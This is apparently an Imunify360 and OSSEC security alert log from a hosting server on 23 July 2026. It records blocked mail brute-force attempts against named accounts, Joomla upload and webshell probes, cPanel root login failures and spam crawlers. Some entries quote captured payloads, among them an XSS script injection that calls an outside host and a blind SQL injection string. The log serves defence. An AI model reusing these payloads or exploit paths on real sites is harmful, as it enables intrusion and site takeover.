name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-07-23 15:06:30 dovecot_plain authenticator failed for H=(jigas) [24.104.225.201]:52321: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jul 23 15:06:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 15:09:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 45.61.187.10
country_id: 6252001
domain: mail.elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icocjvayg/fonts/fiocfjo.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 15:14:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.104.57
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 15:33:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.212.176.37
country_id: 6252001
description:
2026-07-23 15:33:15 dovecot_login authenticator failed for H=wsip-72-212-176-37.hr.hr.cox.net ([192.34.164.13]) [72.212.176.37]:45983: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.212.176.37
country_id: 6252001
description:
Jul 23 15:33:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.212.176.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.250
country_id: 1269750
description:
Jul 23 15:34:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-23 15:34:15 dovecot_login authenticator failed for H=([38.141.252.55]) [122.187.230.250]:51280: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-23 15:34:31 dovecot_login authenticator failed for H=([98.181.137.75]) [94.16.17.139]:33532: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.139
country_id: 2921044
description:
Jul 23 15:34:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 15:36:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-23 15:44:58 dovecot_login authenticator failed for H=([101.96.208.174]) [128.185.235.110]:42970: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.235.110
country_id: 1269750
description:
Jul 23 15:44:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.235.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.143.45
country_id: 99237
description:
Jul 23 15:51:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.143.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-23 15:51:20 dovecot_login authenticator failed for H=([37.232.207.65]) [65.20.143.45]:50673: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.158
country_id: 1269750
description:
2026-07-23 15:51:40 dovecot_login authenticator failed for H=(105.217.146.34.bc.googleusercontent.com) [182.78.112.158]:39304: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.112.158
country_id: 1269750
description:
Jul 23 15:51:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.112.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.37.39
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/elegantautomotiv/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.55.242
country_id: 1269750
description:
Jul 23 15:53:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.55.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-23 15:53:40 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([117.191.83.250]) [221.120.78.177]:47993: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.78.177
country_id: 1668284
description:
Jul 23 15:53:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.78.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-23 15:53:24 dovecot_login authenticator failed for H=([222.195.92.204]) [103.171.55.242]:43791: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 15:56:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 23 15:57:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 15:57:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.253.166.31
country_id: 6252001
domain: api.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-api.ibmcglobal.com||User:alnay||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 35.253.166.31
country_id: 6252001
domain: api.ibmcglobal.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 16:01:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 92.118.205.232
country_id: 798544
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:logins-d33897b06dd0686e03e9d9192756b325.xml.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.229.223
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.46.177.242
country_id: 3703430
description:
Jul 23 16:10:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.46.177.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.46.177.242
country_id: 3703430
description:
2026-07-23 16:10:56 dovecot_login authenticator failed for H=(host-static-178-132-144-161.moldtelecom.md) [200.46.177.242]:45714: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jul 23 16:10:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-23 16:10:27 dovecot_login authenticator failed for H=([195.239.47.189]) [120.29.140.188]:33969: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-23 16:11:26 dovecot_login authenticator failed for H=(217.42.246.220.static.netvigator.com) [175.200.217.128]:36222: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-23 16:12:30 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:38624: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.122.114.193
country_id: 798549
description:
Jul 23 16:12:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.122.114.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.139.58.230
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-gs50-portable-projector-review-little-lunchbox-of-light HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 16:20:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.99.98
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.201.244.162
country_id: 6252001
description:
Jul 23 16:26:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.201.244.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.201.244.162
country_id: 6252001
description:
2026-07-23 16:26:46 dovecot_login authenticator failed for H=f1.roos.com ([218.159.144.187]) [64.201.244.162]:8745: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.44.10
country_id: 1269750
description:
Jul 23 16:27:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.44.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-23 16:27:14 dovecot_login authenticator failed for H=([49.124.152.229]) [103.163.44.10]:55700: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.27.37
country_id: 1269750
description:
Jul 23 16:29:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.27.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.152
country_id: 1835841
description:
Jul 23 16:28:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-23 16:28:39 dovecot_login authenticator failed for H=([59.11.205.214]) [121.131.220.152]:49907: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.159.186
country_id: 1269750
description:
2026-07-23 16:29:44 dovecot_login authenticator failed for H=([223.109.200.181]) [125.19.159.186]:50002: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.195.184.129
country_id: 2802361
description:
2026-07-23 16:30:02 dovecot_login authenticator failed for H=d54c3b881.access.telenet.be ([5.167.34.106]) [84.195.184.129]:60912: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.195.184.129
country_id: 2802361
description:
Jul 23 16:30:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.195.184.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.27.37
country_id: 1269750
description:
2026-07-23 16:29:10 dovecot_login authenticator failed for H=([49.124.151.11]) [49.206.27.37]:40736: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.159.186
country_id: 1269750
description:
Jul 23 16:29:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.159.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 172.196.32.64
country_id: 2186224
domain: sriganapathyent.in
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.35||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 172.196.32.64
country_id: 2186224
domain: sriganapathyent.in
description:
IM360 WAF: Block .suspected files||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/atomlib.php.suspected||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.196.32.64
country_id: 2186224
domain: sriganapathyent.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/m.php||SC:/home/vrishenterprises/sriganapathyent.in/images/m.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.196.32.64
country_id: 2186224
domain: sriganapathyent.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/vrishenterprises/sriganapathyent.in/wp-includes||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.192.95
country_id: 298795
description:
2026-07-23 16:34:39 dovecot_login authenticator failed for H=([49.124.159.192]) [5.11.192.95]:40776: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.35||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//heatherkiln.top/router/admin-bundle.js></script>||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-23 16:34:25 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com ([49.124.152.253]) [213.66.196.11]:57328: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.192.95
country_id: 298795
description:
Jul 23 16:34:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.192.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 153.185.251.67
country_id: 1861060
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:66857.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e29e454eca0c63689049181f80245616e923885f||Title:0x855abd97||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 156.67.171.21
country_id: 2921044
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-37.156.67.171.21||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.10.139.104
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 45.140.211.68
country_id: 2921044
domain: interceptorglobal.in
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 16:43:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.176.160.146
country_id: 1269750
description:
Jul 23 16:45:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.176.160.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-23 16:45:48 dovecot_login authenticator failed for H=([49.124.151.71]) [103.176.160.146]:38854: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.23.66.99
country_id: 1643084
description:
Jul 23 16:45:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.23.66.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.23.66.99
country_id: 1643084
description:
2026-07-23 16:45:59 dovecot_login authenticator failed for H=([14.51.12.142]) [182.23.66.99]:23642: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-23 16:52:34 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:59514: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.110.7.41
country_id: 2464461
description:
Jul 23 16:54:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.110.7.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.110.7.41
country_id: 2464461
description:
2026-07-23 16:54:59 dovecot_login authenticator failed for H=([201.86.46.137]) [102.110.7.41]:4811: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 134.255.243.16
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://db.mailtrackpro.com/mailtrack3.1b/server/redirect.php?user=1398&email=1437&cid=aa51115194c327cmail&url=https%3A%2F%2F17.faranharbarius.com%2Findex%2Fc1%3Fdiff%3D0%26source%3Dog%26campaign%3D16915%26content%3D%26clickid%3Da1ppyjo8gs78k79c%26aurl%3Dhttps%3A%2F%2Fvolejbal.hlinsko.cz%2Fdrustva%2Fmuzi%2Faktuality%2F120-v-trebove-se-nam-nedarilo\">888starz 1xbet</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.112.143
country_id: 1668284
description:
Jul 23 16:55:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.112.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-23 16:55:29 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net ([199.116.112.2]) [110.25.112.143]:53346: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77469916
abuser: 188.119.44.179
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:dr.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 51.195.39.149
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/posts/999999?author_exclude=0) OR SLEEP(0)-- -||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 17:07:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 17:08:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 165.22.102.84
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx6763.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 185.220.236.62
country_id: 1668284
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:logins-c919212dee15c3a8493cad4e078f9078.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.84.233
country_id: 2635167
description:
[2026-07-23 17:10:51 +0530] info [whostmgrd] 77.68.84.233 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.84.233
country_id: 2635167
description:
[2026-07-23 17:10:52 +0530] info [whostmgrd] 77.68.84.233 - root "GET /cpsess9858857848/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.225.51.158
country_id: 719819
description:
Jul 23 17:12:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.225.51.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.225.51.158
country_id: 719819
description:
2026-07-23 17:12:32 dovecot_login authenticator failed for H=netacc-gpn-5-51-158.pool.yettel.hu ([59.24.163.29]) [84.225.51.158]:42403: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.149.111.81
country_id: 617790
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.233.203.159
country_id: 2661886
description:
Jul 23 17:19:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.233.203.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-23 17:19:37 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com (wsip-70-183-236-81.pn.at.cox.net) [89.233.203.159]:37360: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.25.164.78
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 17:31:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://acrepair2.info\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.70.69
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.153.85.56
country_id: 3625428
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16595.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7ff10298c52ac6d4652c03bf30ab8d3dddbf8f9||Title:0x530f6d9c||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 45.61.187.50
country_id: 6252001
domain: www.elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoslmuql/fonts/frngbfk.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.79.170.117
country_id: 1835841
description:
Jul 23 17:54:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.79.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-23 17:54:56 dovecot_login authenticator failed for H=([221.224.133.98]) [61.79.170.117]:36638: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
